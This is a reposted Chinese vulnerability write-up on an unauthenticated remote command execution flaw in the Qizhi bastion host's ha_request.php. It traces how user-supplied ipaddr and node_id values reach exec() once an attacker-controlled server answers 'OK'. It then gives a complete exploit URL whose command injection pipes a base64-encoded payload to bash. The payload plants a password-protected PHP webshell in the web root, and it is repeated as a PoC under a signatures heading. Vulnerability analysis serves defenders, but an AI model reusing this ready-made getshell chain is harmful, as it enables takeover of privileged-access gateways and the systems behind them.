齊治堡壘機前台遠程命令執行漏洞


 

 

源代碼分析:

 問題出現在 ha_request.php 文件,第 37 行的 exec 函數,$url 為用戶可控的變量,可見第 33 和 34 行。目光來到第 23 和 24 行,只要 node_request 函數的返回值為“OK”,即可跳過 fatal 函數(此函數為自定義函數,作用類似 PHP 內置的 exit 函數),繼續往下執行。Node_request 函數的定義在 include/common.php 文件中,見下圖 2。按照其原本的邏輯,其作用是請求$url,並返回其內容。根據代碼邏輯,

$url ="http://$req_ipaddr"."/listener/$method.php?n=$req_node_id&a=".urlencode(json_encode($args));

所以$url 變量值類似於

http://10.20.10.11/listener/cluster_manage.php?n=1&a=%5B%22install%22%5D

這樣的字符串。但是$req_ipaddr 和$req_node_id 均來自用戶輸入。因此,假設 10.20.10.11 為黑客可控的服務器,listener/cluster_manage.php 文件的內容為“<?php echo ‘OK’;>”,即可使得node_request 函數返回“OK”,從而跳過 fatal 函數,繼續往下執行來到 exec 函數。回到 exec 函數,此時該函數的第一個參數是這樣的,

"wget --no-check-certificatehttp://10.20.10.11 /ha_get_install.php?n=$req_node_id -O backup_scripts.tar.bz2"

所以我們的 payload只能放在$req_node_id 變量中。見下圖3,$req_ipaddr和$req_node_id其實來自於$_REQUEST[‘ipaddr’]和$_REQUEST[node_id’],並做了全局過濾,刪除掉一些危險字符

 

圖片1

圖片2

圖片3

漏洞利用:
  利用條件:

    無需登錄
第一:

  http://10.20.10.11/listener/cluster_manage.php 返回“OK”。

第二:

  執行以下鏈接即可 getshell,執行成功后,生成 PHP 一句話馬/var/www/shterm/resources/qrcode/lbj77.php 密碼 10086,使用 BASE64 進行編碼。這里假設 10.20.10.10 為堡壘機的 IP 地址。

https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}"ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}-d|bash`|${IFS}|echo${IFS}

  

特征:
漏洞利用點:

https://10.20.10.10/ha_request.phpPoc 形式:${IFS}|`echo${IFS}"ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}-d|bash`|${IFS}|echo${IFS}

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM